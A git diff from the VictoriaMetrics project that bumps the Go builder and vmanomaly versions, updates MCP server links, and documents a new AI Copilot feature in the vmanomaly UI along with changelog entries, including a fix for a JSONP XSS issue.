 ROOT_IMAGE_SCRATCH ?= scratch
 CERTS_IMAGE := alpine:3.23.3
 
-GO_BUILDER_IMAGE := golang:1.26.0
+GO_BUILDER_IMAGE := golang:1.26.1
 
 BUILDER_IMAGE := local/builder:2.0.0-$(shell echo $(GO_BUILDER_IMAGE) | tr :/ __)-1
 BASE_IMAGE := local/base:1.1.4-$(shell echo $(ROOT_IMAGE) | tr :/ __)-$(shell echo $(CERTS_IMAGE) | tr :/ __)

deployment/docker/vmanomaly/vmanomaly-integration/compose.yml

@@ -59,7 +59,7 @@ services:
       - '--external.alert.source=explore?orgId=1&left=["now-1h","now","VictoriaMetrics",{"expr": },{"mode":"Metrics"},{"ui":[true,true,true,"none"]}]'
     restart: always
   vmanomaly:
-    image: victoriametrics/vmanomaly:v1.28.7
+    image: victoriametrics/vmanomaly:v1.29.0
     depends_on:
       - "victoriametrics"
     ports:

docs/anomaly-detection/CHANGELOG.md

@@ -14,6 +14,21 @@ aliases:
 ---
 Please find the changelog for VictoriaMetrics Anomaly Detection below.
 
+## v1.29.0
+Released: 2026-03-05
+
+- UI: Updated [vmanomaly UI](https://docs.victoriametrics.com/anomaly-detection/ui/) from [v1.4.3](https://docs.victoriametrics.com/anomaly-detection/ui/#v143) to [v1.5.0](https://docs.victoriametrics.com/anomaly-detection/ui/#v150), see respective [release notes](https://docs.victoriametrics.com/anomaly-detection/ui/#v150) for details. Notable changes include [AI assistance](https://docs.victoriametrics.com/anomaly-detection/ui/#ai-assistance) support capable of applying model configuration changes, generating VMAlert rules, and providing general guidance on using the product.
+
+- IMPROVEMENT: Optimized internal data structures for readers when `query_from_last_seen_timestamp` [parameter](https://docs.victoriametrics.com/anomaly-detection/components/reader/#config-parameters) is enabled, resulting in reduced memory usage and improved performance for large datasets.
+
+- IMPROVEMENT: Hardened [hot reload](https://docs.victoriametrics.com/anomaly-detection/components/#hot-reload) with staged snapshot apply and automatic rollback. Reload now validates once and applies the same snapshot, preventing re-read race conditions and avoiding same-port conflicts during restart; failures keep previous runtime and are reflected in [startup metrics](https://docs.victoriametrics.com/anomaly-detection/components/monitoring/#startup-metrics).
+
+- BUGFIX: Config file read/parse failures are now non-fatal in [hot reload](https://docs.victoriametrics.com/anomaly-detection/components/#hot-reload) mode (service keeps running), while initial startup remains fatal for invalid/broken config files.
+
+- BUGFIX: Fixed missing datapoints in [BacktestingScheduler](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#backtesting-scheduler) windows used in [exact mode](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#defining-inference-timeframe-1), leading to "gaps" in plotted predictions and scores.
+
+- BUGFIX: Fixed a model state update issue in [BacktestingScheduler exact mode](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#defining-inference-timeframe-1) when parallelization (`settings.n_workers > 1`) was enabled, causing [online models](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-models) to produce stale/flat `yhat`, `yhat_lower`, and `yhat_upper` lines.
+
 ## v1.28.7
 Released: 2026-02-09
 
@@ -43,7 +58,7 @@ Released: 2026-01-12
 ## v1.28.3
 Released: 2025-12-17
 
-- IMPROVEMENT: Aligned service endpoints for `vmanomaly` [MCP Server](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly) integration.
+- IMPROVEMENT: Aligned service endpoints for `vmanomaly` [MCP Server](https://github.com/VictoriaMetrics/mcp-vmanomaly) integration.
 
 ## v1.28.2
 Released: 2025-12-11

docs/anomaly-detection/FAQ.md

@@ -139,7 +139,7 @@ For information on migrating between different versions of `vmanomaly`, please r
 
 ## Choosing the right model for vmanomaly
 
-> {{% available_from "v1.28.3" anomaly %}} Try our [MCP Server](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly) to get AI-assisted recommendations on selecting the best model and its configuration for your use case. See [installation guide](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly#installation) for more details.
+> {{% available_from "v1.28.3" anomaly %}} Try our [MCP Server](https://github.com/VictoriaMetrics/mcp-vmanomaly) to get AI-assisted recommendations on selecting the best model and its configuration for your use case. See [installation guide](https://github.com/VictoriaMetrics/mcp-vmanomaly#installation) for more details.
 
 Selecting the best model for `vmanomaly` depends on the data's nature and the [types of anomalies](https://victoriametrics.com/blog/victoriametrics-anomaly-detection-handbook-chapter-2/#categories-of-anomalies) to detect. For instance, [Z-score](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-z-score) is suitable for data without trends or seasonality, while more complex patterns might require models like [Prophet](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet).
 
@@ -151,7 +151,8 @@ Still not 100% sure what to use? We are [here to help](https://docs.victoriametr
 
 ## Incorporating domain knowledge
 
-> {{% available_from "v1.28.3" anomaly %}} Try our [MCP Server](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly) to get AI-assisted recommendations on incorporating domain knowledge into your anomaly detection models. See [installation guide](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly#installation) for more details.
+> [!TIP]
+> {{% available_from "v1.28.3" anomaly %}} Try our [MCP Server](https://github.com/VictoriaMetrics/mcp-vmanomaly) to get AI-assisted recommendations on incorporating domain knowledge into your anomaly detection models. See [installation guide](https://github.com/VictoriaMetrics/mcp-vmanomaly#installation) for more details. {{% available_from "v1.29.0" anomaly %}} Connect MCP server to the [vmanomaly UI](https://docs.victoriametrics.com/anomaly-detection/ui/) to benefit from better response quality and tool access in the UI Copilot, which provides AI-assisted configuration generation and debugging capabilities. See the [UI documentation](https://docs.victoriametrics.com/anomaly-detection/ui/#ai-assistance) for instructions on how to set it up.
 
 Anomaly detection models can significantly improve when incorporating business-specific assumptions about the data and what constitutes an anomaly. `vmanomaly` supports various [business-side configuration parameters](https://docs.victoriametrics.com/anomaly-detection/components/models/#common-args) across all built-in models to **reduce [false positives](https://victoriametrics.com/blog/victoriametrics-anomaly-detection-handbook-chapter-1/#false-positive)** and **align model behavior with business needs**, for example:
 
@@ -236,7 +237,7 @@ groups:
 
 > {{% available_from "v1.27.0" anomaly %}} You can also use the [vmanomaly UI](https://docs.victoriametrics.com/anomaly-detection/ui/) to generate alerting rules automatically based on your model configurations and selected thresholds.
 
-> {{% available_from "v1.28.3" anomaly %}} Check out our [MCP Server](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly) to get AI-assisted recommendations on setting up alerting rules based on produced anomaly scores. See [installation guide](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly#installation) for more details.
+> {{% available_from "v1.28.3" anomaly %}} Check out our [MCP Server](https://github.com/VictoriaMetrics/mcp-vmanomaly) to get AI-assisted recommendations on setting up alerting rules based on produced anomaly scores. See [installation guide](https://github.com/VictoriaMetrics/mcp-vmanomaly#installation) for more details.
 
 ## Preventing alert fatigue
 Produced anomaly scores are designed in such a way that values from 0.0 to 1.0 indicate non-anomalous data, while a value greater than 1.0 is generally classified as an anomaly. However, there are no perfect models for anomaly detection, that's why reasonable defaults expressions like `anomaly_score > 1` may not work 100% of the time. However, anomaly scores, produced by `vmanomaly` are written back as metrics to VictoriaMetrics, where tools like [`vmalert`](https://docs.victoriametrics.com/victoriametrics/vmalert/) can use [MetricsQL](https://docs.victoriametrics.com/victoriametrics/metricsql/) expressions to fine-tune alerting thresholds and conditions, balancing between avoiding [false negatives](https://victoriametrics.com/blog/victoriametrics-anomaly-detection-handbook-chapter-1/#false-negative) and reducing [false positives](https://victoriametrics.com/blog/victoriametrics-anomaly-detection-handbook-chapter-1/#false-positive).
@@ -419,7 +420,7 @@ services:
   # ...
   vmanomaly:
     container_name: vmanomaly
-    image: victoriametrics/vmanomaly:v1.28.7
+    image: victoriametrics/vmanomaly:v1.29.0
     # ...
     restart: always
     volumes:
@@ -637,7 +638,7 @@ options:
 Here’s an example of using the config splitter to divide configurations based on the `extra_filters` argument from the reader section:
 
 ```sh
-docker pull victoriametrics/vmanomaly:v1.28.6 && docker image tag victoriametrics/vmanomaly:v1.28.7 vmanomaly
+docker pull victoriametrics/vmanomaly:v1.29.0 && docker image tag victoriametrics/vmanomaly:v1.29.0 vmanomaly
 ```
 
 ```sh

docs/anomaly-detection/Migration.md

@@ -45,8 +45,8 @@ There are 2 types of compatibilitity to consider when migrating in stateful mode
 
 | Group start | Group end | Compatibility | Notes |
 |---------|--------- |------------|-------|
-| [v1.28.7](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1287) | Latest* | Fully Compatible | Just a placeholder for new releases |
-| [v1.26.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1262) | [v1.28.7](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1287) | Fully Compatible | [v1.28.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1280) introduced [rolling](https://docs.victoriametrics.com/anomaly-detection/components/models/#rolling-models) model class drop in favor of [online](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-models) models (`rolling_quantile` and `std` models), however, it does not impact compatibility, as artifacts were not produced by default for rolling models. Also, offline `mad` and `zscore` models are redirecting to their respective online counterparts since [v1.28.4](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1284). |
+| [v1.29.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1290) | Latest* | Fully Compatible | Just a placeholder for new releases |
+| [v1.26.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1262) | [v1.29.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1290) | Fully Compatible | [v1.28.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1280) introduced [rolling](https://docs.victoriametrics.com/anomaly-detection/components/models/#rolling-models) model class drop in favor of [online](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-models) models (`rolling_quantile` and `std` models), however, it does not impact compatibility, as artifacts were not produced by default for rolling models. Also, offline `mad` and `zscore` models are redirecting to their respective online counterparts since [v1.28.4](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1284). |
 | [v1.25.3](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1253) | [v1.26.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1270) | Partially Compatible* | [v1.25.3](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1253) introduced `forecast_at` argument for base [univariate](https://docs.victoriametrics.com/anomaly-detection/components/models/#univariate-models) and `Prophet` [models](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet), however, itself remains backward-reversible from newer states like [v1.26.2](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1262), [v1.27.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1270). (All models except `isolation_forest_multivariate` class will be dropped) |
 | [v1.25.1](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1251) | [v1.25.2](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1252) | Fully Compatible | In [v1.25.1](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1251) there was a change to `vmanomaly.db` metadata database format, so migrating from v1.24.0-v1.25.0 requires deletion of a state, see note above the table |
 | [v1.24.1](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1241) | [v1.25.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1250) | Partially Compatible* | In [v1.25.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1250) there were changes to **data dump layout** and to `online_quantile` and `isolation_forest_multivariate` [model](https://docs.victoriametrics.com/anomaly-detection/components/models/) states, so to migrate from v1.24.0-v1.24.1 it is recommended to drop the state |

docs/anomaly-detection/QuickStart.md

@@ -122,7 +122,7 @@ Below are the steps to get `vmanomaly` up and running inside a Docker container:
 1. Pull Docker image:
 
 ```sh
-docker pull victoriametrics/vmanomaly:v1.28.7
+docker pull victoriametrics/vmanomaly:v1.29.0
 ```
 
 2. Create the license file with your license key.
@@ -142,7 +142,7 @@ docker run -it \
     -v ./license:/license \
     -v ./config.yaml:/config.yaml \
     -p 8490:8490 \
-    victoriametrics/vmanomaly:v1.28.7 \
+    victoriametrics/vmanomaly:v1.29.0 \
     /config.yaml \
     --licenseFile=/license \
     --loggerLevel=INFO \
@@ -159,7 +159,7 @@ docker run -it \
     -e VMANOMALY_DATA_DUMPS_DIR=/tmp/vmanomaly/data \
     -e VMANOMALY_MODEL_DUMPS_DIR=/tmp/vmanomaly/models \
     -p 8490:8490 \
-    victoriametrics/vmanomaly:v1.28.7 \
+    victoriametrics/vmanomaly:v1.29.0 \
     /config.yaml \
     --licenseFile=/license \
     --loggerLevel=INFO \
@@ -172,7 +172,7 @@ services:
   # ...
   vmanomaly:
     container_name: vmanomaly
-    image: victoriametrics/vmanomaly:v1.28.7
+    image: victoriametrics/vmanomaly:v1.29.0
     # ...
     restart: always
     volumes:
@@ -305,11 +305,11 @@ writer:
 
 ### UI
 
-{{% available_from "v1.26.0" anomaly %}} `vmanomaly`'s built-in web UI can be used for prototyping and interactive experimenting to produce vmanomaly's and vmalert's configuration files. Please refer to the [UI documentation](https://docs.victoriametrics.com/anomaly-detection/ui/) for detailed instructions and examples.
+{{% available_from "v1.26.0" anomaly %}} `vmanomaly`'s built-in web UI can be used for prototyping and interactive experimenting to produce vmanomaly's and vmalert's configuration files. Please refer to the [UI documentation](https://docs.victoriametrics.com/anomaly-detection/ui/) for detailed instructions and examples. {{% available_from "v1.29.0" anomaly %}} Connect MCP server to the UI to benefit from better response quality and tool access in the UI Copilot, which provides AI-assisted configuration generation and debugging capabilities. See the [UI documentation](https://docs.victoriametrics.com/anomaly-detection/ui/#ai-assistance) for instructions on how to set it up.
 
 ![vmanomaly-ui-overview](vmanomaly-ui-overview.webp)
 > [!TIP]
-Public playgrounds with pre-configured `vmanomaly` instances and VictoriaMetrics/VictoriaLogs/VictoriaTraces datasources are available for interactive experimenting without the need to set up your own instance or getting an enterprise license. You can find them in the [UI documentation](https://docs.victoriametrics.com/anomaly-detection/ui/#playgrounds) or access them directly via the links - [metrics](https://play-vmanomaly.victoriametrics.com/metrics/), [logs](https://play-vmanomaly.victoriametrics.com/logs/), [traces](https://play-vmanomaly.victoriametrics.com/traces/) - or embedded versions in the collapsible blocks.
+> Public playgrounds with pre-configured `vmanomaly` instances and VictoriaMetrics/VictoriaLogs/VictoriaTraces datasources are available for interactive experimenting without the need to set up your own instance or getting an enterprise license. You can find them in the [UI documentation](https://docs.victoriametrics.com/anomaly-detection/ui/#playgrounds) or access them directly via the links - [metrics](https://play-vmanomaly.victoriametrics.com/metrics/), [logs](https://play-vmanomaly.victoriametrics.com/logs/), [traces](https://play-vmanomaly.victoriametrics.com/traces/) - or embedded versions in the collapsible blocks.
 
 {{% collapse name="Playground on VictoriaMetrics Datasource" %}}
 

docs/anomaly-detection/README.md

@@ -55,7 +55,7 @@ Get started with VictoriaMetrics Anomaly Detection by following our guides and i
 
 - **Quickstart**: Learn how to quickly set up `vmanomaly` by following the [Quickstart Guide](https://docs.victoriametrics.com/anomaly-detection/quickstart/).
 - **UI**: Explore anomaly detection configurations through the [vmanomaly UI](https://docs.victoriametrics.com/anomaly-detection/ui/).
-- **MCP**: Allow AI to assist you in generating service and alerting configurations, answering questions, planning migration with the [MCP Server](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly). Find the setup guide how to setup and use it [here](https://github.com/VictoriaMetrics-Community/mcp-vmanomaly?tab=readme-ov-file#installation).
+- **MCP**: Allow AI to assist you in generating service and alerting configurations, answering questions, planning migration with the [MCP Server](https://github.com/VictoriaMetrics/mcp-vmanomaly). Find the setup guide how to setup and use it [here](https://github.com/VictoriaMetrics/mcp-vmanomaly?tab=readme-ov-file#installation).
 - **Integration**: Integrate anomaly detection into your existing observability stack. Find detailed steps [here](https://docs.victoriametrics.com/anomaly-detection/guides/guide-vmanomaly-vmalert/).
 - **Anomaly Detection Presets**: Enable anomaly detection on predefined sets of metrics. Learn more [here](https://docs.victoriametrics.com/anomaly-detection/presets/).
 

docs/anomaly-detection/UI.md

@@ -183,6 +183,94 @@ The best applications of this mode are:
 
 > However, the UI can be **combined with existing production jobs of anomaly detection, as it is available in non-blocking mode for all running vmanomaly instances** {{% available_from "v1.26.0" anomaly %}}, regardless of the preset or configuration used, just at a cost of increased resource usage.
 
+## AI Assistance
+
+{{% available_from "v1.29.0" anomaly %}} Copilot is an AI assistant built into the vmanomaly UI. It understands current anomaly detection configuration in the UI and helps iterate faster and obtain better results - without leaving the UI, searching the docs manually, or being an expert in anomaly detection.
+
+### What you can do with Copilot
+
+- **Ask questions** about any model (e.g. [Prophet](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet) or [Z-score](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-z-score) — parameters, trade-offs, when to use each)
+- **Improve detection quality** — describe what's wrong ("too many false positives", "missing spikes") and Copilot reads the config, searches the docs, and proposes a validated configuration change to fix the issue.
+- **Get config suggestions inline** — suggestions appear as interactive cards with an explanation and a YAML diff; click **Apply** to write the change directly to your current settings, or **Decline** to keep the conversation going.
+
+### How it works
+
+Copilot appears as a **chat popup** anchored to the bottom-right corner of the page. The panel is resizable by dragging its left edge, and can be opened or closed by clicking the respective icon.
+
+> [!TIP] Copilot is context-aware
+> It reads your active model, scheduler, and anomaly settings from the UI automatically, so you don't need to paste your config manually.
+
+### Configuration
+
+AI Assistant is disabled by default; enable it with `VMANOMALY_COPILOT_ENABLED=true`, then configure an LLM provider API key and, optionally, a model. Once enabled and configured, Copilot will appear as a chat popup in the bottom-right corner of the UI.
+
+
+
+Supported providers and model formats:
+
+- **Anthropic** — set `ANTHROPIC_API_KEY`; model format: `anthropic:<model>`
+  - Examples: `claude-haiku-4-5`, `claude-sonnet-4-6`; see [full list](https://platform.claude.com/docs/en/about-claude/models/overview#latest-models-comparison)
+- **OpenAI** — set `OPENAI_API_KEY`; model format: `openai:<model>`
+  - Examples: `gpt-5-mini`, `gpt-5.2`; see [full list](https://platform.openai.com/docs/models)
+
+Set exactly one provider key matching your selected model provider:
+
+```bash
+# Anthropic
+export ANTHROPIC_API_KEY=your_key_here
+
+# or OpenAI
+export OPENAI_API_KEY=your_key_here
+```
+
+Optionally override the default model:
+
+```bash
+export VMANOMALY_COPILOT_MODEL=openai:gpt-5-mini
+```
+
+### MCP tools server
+
+Connects Copilot to [mcp-vmanomaly](https://github.com/VictoriaMetrics/mcp-vmanomaly) for full tool access (built-in docs, models configuration and validation, alerts recommendation, service healthchecks, etc.). Full [tools list](https://github.com/VictoriaMetrics/mcp-vmanomaly?tab=readme-ov-file#toolset):
+
+> [!NOTE]
+> Only `http` [mode](https://github.com/VictoriaMetrics/mcp-vmanomaly?tab=readme-ov-file#modes) is supported. Set `VMANOMALY_MCP_SERVER_URL` to the MCP server HTTP endpoint. The server must be reachable from within the vmanomaly container.
+
+For example:
+
+```bash
+export VMANOMALY_MCP_SERVER_URL=http://localhost:8081/mcp
+```
+
+Use `localhost` only when the vmanomaly process can reach the MCP server on its own loopback interface (for example, both running on the host). If vmanomaly runs in a separate Docker container, use a reachable container or host address instead.
+
+**Example**: if using Docker, run `mcp-vmanomaly` and vmanomaly UI in the same Docker network so they can reach each other by container name:
+
+```bash
+docker network create vmanomaly-network
+
+docker run -d --rm \
+  --name mcp-vmanomaly \
+  --network vmanomaly-network \
+  -e VMANOMALY_ENDPOINT=http://vmanomaly-instance:8490 \
+  -e MCP_SERVER_MODE=http \
+  -e MCP_LISTEN_ADDR=:8081 \
+  ghcr.io/victoriametrics/mcp-vmanomaly
+
+docker run -it --rm \
+  --name vmanomaly-instance \
+  --network vmanomaly-network \
+  -e VMANOMALY_COPILOT_ENABLED=true \
+  -e OPENAI_API_KEY="$OPENAI_API_KEY" \
+  -e VMANOMALY_COPILOT_MODEL=openai:gpt-5-mini \
+  -e VMANOMALY_MCP_SERVER_URL=http://mcp-vmanomaly:8081/mcp \
+  -p 8080:8080 \
+  -p 8490:8490 \
+  victoriametrics/vmanomaly:v1.29.0 \
+  vmanomaly_config.yaml
+```
+
+
 ## UI Navigation
 
 The vmanomaly UI provides a user-friendly interface for exploring and configuring anomaly detection models. The main components of the UI include:
@@ -501,6 +589,15 @@ If the **results** look good and the **model configuration should be deployed in
 
 ## Changelog
 
+### v1.5.0
+Released: 2026-03-05
+
+vmanomaly version: [v1.29.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1290)
+
+- FEATURE: Allowed AI assistance use for documentation Q&A, model configuration suggestion and application, optionally backed by [MCP Server tools](https://github.com/VictoriaMetrics/mcp-vmanomaly/tree/main). Please refer to [AI Assistance](https://docs.victoriametrics.com/anomaly-detection/ui/#ai-assistance) section for details.
+- FEATURE: Added filtering of timeseries in the Visualization Panel by labels and statistics (e.g. anomaly count) to focus on the most relevant series when many series are returned by the query.
+- BUGFIX: Fixed missing datapoints in [BacktestingScheduler](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#backtesting-scheduler) windows combined with [exact mode](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#defining-inference-timeframe-1), leading to "gaps" in plotted predictions and scores.
+
 ### v1.4.3
 Released: 2026-02-09
 

docs/anomaly-detection/components/models.md

@@ -1219,7 +1219,7 @@ monitoring:
 Let's pull the docker image for `vmanomaly`:
 
 ```sh
-docker pull victoriametrics/vmanomaly:v1.28.7
+docker pull victoriametrics/vmanomaly:v1.29.0
 ```
 
 Now we can run the docker container putting as volumes both config and model file:
@@ -1233,7 +1233,7 @@ docker run -it \
 -v $(PWD)/license:/license \
 -v $(PWD)/custom_model.py:/vmanomaly/model/custom.py \
 -v $(PWD)/custom.yaml:/config.yaml \
-victoriametrics/vmanomaly:v1.28.7 /config.yaml \
+victoriametrics/vmanomaly:v1.29.0 /config.yaml \
 --licenseFile=/license
 --watch
 ```

docs/anomaly-detection/guides/guide-vmanomaly-vmalert/README.md

@@ -395,7 +395,7 @@ services:
     restart: always
   vmanomaly:
     container_name: vmanomaly
-    image: victoriametrics/vmanomaly:v1.28.5
+    image: victoriametrics/vmanomaly:v1.29.0
     depends_on:
       - "victoriametrics"
     ports:

docs/victoriametrics/changelog/CHANGELOG.md

@@ -26,14 +26,24 @@ See also [LTS releases](https://docs.victoriametrics.com/victoriametrics/lts-rel
 
 ## tip
 
+* SECURITY: upgrade Go builder from Go1.26.0 to Go1.26.1. See [the list of issues addressed in Go1.26.1](https://github.com/golang/go/issues?q=milestone%3AGo1.26.1%20label%3ACherryPickApproved).
+* SECURITY: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): sanitize JSONP callback parameter in [Graphite API](https://docs.victoriametrics.com/victoriametrics/integrations/graphite/) endpoints to prevent XSS via callback injection. See [#10627](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10627).
+
+* FEATURE: [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/): add `headers` field to `oauth2` scrape config for passing custom HTTP headers to `token_url`. Some services require different headers for the token endpoint and the scrape targets. See [#8939](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/8939).
+* FEATURE: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): add [OIDC Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) support for JWT authentication. `vmauth` can now automatically fetch and rotate public keys from an OpenID Connect provider, eliminating the need to specify public keys manually. See [OIDC Discovery](https://docs.victoriametrics.com/victoriametrics/vmauth/#oidc-discovery) docs. See [#10585](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10585).
 * FEATURE: all VictoriaMetrics components: implement proper CORS preflight handling by responding 204 No Content to HTTP OPTIONS requests. See [#5563](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/5563).
 * FEATURE: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): add `access_log` configuration option for each user that will log requests to stdout, and support filtering by HTTP status codes. See more in [docs](https://docs.victoriametrics.com/victoriametrics/vmauth/#access-log). See [#5936](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/5936).
+* FEATURE: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): add JWT token `match_claims` for requests routing. Read more about configuration in [JWT claim matching](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-claim-matching) documentation. See [#10584](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10584).
 * FEATURE: [vmalert](https://docs.victoriametrics.com/victoriametrics/vmalert/): support negative values for the group `eval_offset` option, which allows starting group evaluation at `groupInterval-abs(eval_offset)` within `[0...groupInterval]`. See [#10424](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10424).
 * FEATURE: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): Disable `/graphite/tags/tagSeries` and `/graphite/tags/tagMultiSeries` for Graphite tag registration since it is unlikely it is used in context of VictoriaMetrics. See [10544](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10544).
+* FEATURE: [vmui](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#vmui): rename debug tools buttons for clarity. See [#10453](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10453).
 
+* BUGFIX: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): properly route requests to `default_url`. Previously, `request_path` query arg could be set incorrectly during concurrent requests. See [#10626](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10626).
+* BUGFIX: [vmui](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#vmui): use `increase_pure` instead of `rate` for histogram heatmaps in Explore Metrics to correctly display the first observation in each new bucket. See [#10365](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10365). Thanks to @ab0utbla-k for the contribution.
 * BUGFIX: [dashboards/vmauth](https://grafana.com/grafana/dashboards/21394): fix `requested from system` and `heap inuse` expressions in the memory usage panel. See [#10574](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10574).
 * BUGFIX: [vmbackup](https://docs.victoriametrics.com/vmbackup/), [vmbackupmanager](https://docs.victoriametrics.com/victoriametrics/vmbackupmanager/): do not enable ACL when uploading backups to S3-compatible endpoints by default. ACL is not always supported by S3-compatible endpoints and it is not recommended to use ACLs to limit access to objects. See [#10539](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10539) for more details.
 * BUGFIX: [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/), [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/), `vminsert` and `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): properly attach `host` label to the time series ingested via [/datadog/api/beta/sketches](https://docs.victoriametrics.com/victoriametrics/integrations/datadog/#) API. See [#10557](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10557).
+* BUGFIX: `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): fix inaccurate `vm_filestream_write_duration_seconds_total` due to duplicate counting . After the fix, `vm_filestream_write_duration_seconds_total` will track the duration spent on calling the `write(2)` system call properly. See [#10564](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10564).
 
 ## [v1.137.0](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.137.0)
 
@@ -66,6 +76,22 @@ It enables back `Discovered targets` debug UI by default.
 * BUGFIX: `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): properly apply `extra_filters[]` filter when querying `vm_account_id` or `vm_project_id` labels via [multitenant](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#multitenancy) request for `/api/v1/label/…/values` API. Before, `extra_filters` was ignored. See [#10503](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10503).
 * BUGFIX: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): revert the use of rollup result cache for [instant queries](https://docs.victoriametrics.com/keyConcepts.html#instant-query) that contain [`rate`](https://docs.victoriametrics.com/MetricsQL.html#rate) function with a lookbehind window larger than `-search.minWindowForInstantRollupOptimization`. The cache usage was removed since [v1.132.0](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.132.0). See [#10098](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10098#issuecomment-3895011084) for more details.
 
+## [v1.136.1](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.136.1)
+
+Released at 2026-03-02
+
+**v1.136.x is a line of [LTS releases](https://docs.victoriametrics.com/victoriametrics/lts-releases/). It contains important up-to-date bugfixes for [VictoriaMetrics enterprise](https://docs.victoriametrics.com/victoriametrics/enterprise/).
+All these fixes are also included in [the latest community release](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/latest).
+The v1.136.x line will be supported for at least 12 months since [v1.136.0](https://docs.victoriametrics.com/victoriametrics/changelog/#v11360) release**
+
+* BUGFIX: all VictoriaMetrics components: return gzip-compressed response instead of zstd-compressed response to the client if `Accept-Encoding` request header contains both `gzip` and `zstd`. This is needed because some clients and proxies improperly handle zstd-compressed responses. See [#10535](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10535).
+* BUGFIX: [vmagent](https://docs.victoriametrics.com/vmagent/) and [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/): properly check expired client certificate during mTLS requests. See [#10393](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10393).
+* BUGFIX: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): prevent panic `error parsing regexp: expression nests too deeply` triggered by large repetition ranges in regex. See [VictoriaLogs#1112](https://github.com/VictoriaMetrics/VictoriaLogs/issues/1112).
